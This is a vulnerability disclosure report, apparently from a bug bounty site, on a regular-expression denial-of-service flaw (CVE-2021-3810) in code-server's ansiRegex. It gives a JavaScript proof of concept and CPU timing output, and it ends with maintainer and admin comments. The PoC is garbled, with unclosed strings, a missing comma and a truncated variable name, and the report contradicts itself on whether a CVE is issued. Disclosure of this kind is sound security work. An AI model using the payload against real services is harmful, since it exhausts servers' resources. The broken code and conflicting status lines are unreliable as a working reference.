

# Inefficient Regular Expression Complexity in cdr/code-server

 Valid Reported on Sep 11th 2021

## Description

The `code-server` package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide crafted input to the `ansiRegex` functionality may cause an application to consume an excessive amount of CPU.  
Below pinned line using vulnerable regex. The ReDOS is mainly due to the sub-patterns `[\#;?]*` and `[a-zA-Z\d]*`. Thanks to yetingli.

## Proof of Concept

Reproducer where we've copied the relevant code: <https://github.com/cdr/code-server/blob/bc3acb071e5393944627e16b2b54dc296a17d2d6/src/node/util.ts#L22-L26>  
Put the below in a `poc.js` file and run with `node`

```
// PoC.js
const pattern = [
  "[\\u001B\\u009B][\\(\\)#;?]*(?:(?:[a-zA-Z\\d]*(?:[-a-zA-Z\\d\\\/#&."
  "(?:{(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~])))",
  ].join("|")
const re = new RegExp(pattern, "g")
for(var i = 1; i <= 50000; i++) {
  var time = Date.now();
  var attack_str = "\\u001B["+ "+" + ".repeat(i*10000);
  re.test(attack_str)
  var time_cost = Date.now() - time;
  console.log("attack_str.length: " + attack_str.length + ": " + time_cos
}
```

Check the Output:

```
attack_str.length: 10002: 555 ms
attack_str.length: 20002: 2253 ms
attack_str.length: 30002: 5166 ms
attack_str.length: 40002: 9482 ms
attack_str.length: 50002: 13950 ms
attack_str.length: 60002: 19850 ms
attack_str.length: 70002: 29091 ms
attack_str.length: 80002: 35435 ms
attack_str.length: 90002: 44563 ms
attack_str.length: 100002: 60622 ms
attack_str.length: 110002: 65911 ms
attack_str.length: 120002: 89898 ms
--
--
```

## Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

## Occurrences

**TS** util.ts L22-L26

CVE

CVE-2021-3810  
(Published)

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

High (7.5)

Affected Version

\*

Visibility

Public

Chat with us

Status  
Fixed

Found by



ready-research  
@ready-research  
[pro](#)

Fixed by



ready-research  
@ready-research  
[pro](#)

This report was seen 526 times.

ready-research submitted a patch a year ago

Z-Old a year ago

[Admin](#)

Hey ready-research, I've emailed the repo maintainer for you.

We have contacted a member of the `cdr/code-server` team and are waiting to hear back  
a year ago

A `cdr/code-server` maintainer a year ago

[Maintainer](#)

We merged this fix! Thanks so much!

A `cdr/code-server` maintainer marked this as fixed with commit `ca617d` a year ago

ready-research has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

util.ts#L22-L26 has been validated ✓

Jamie Slome a year ago

[Admin](#)

CVE published! 🎉

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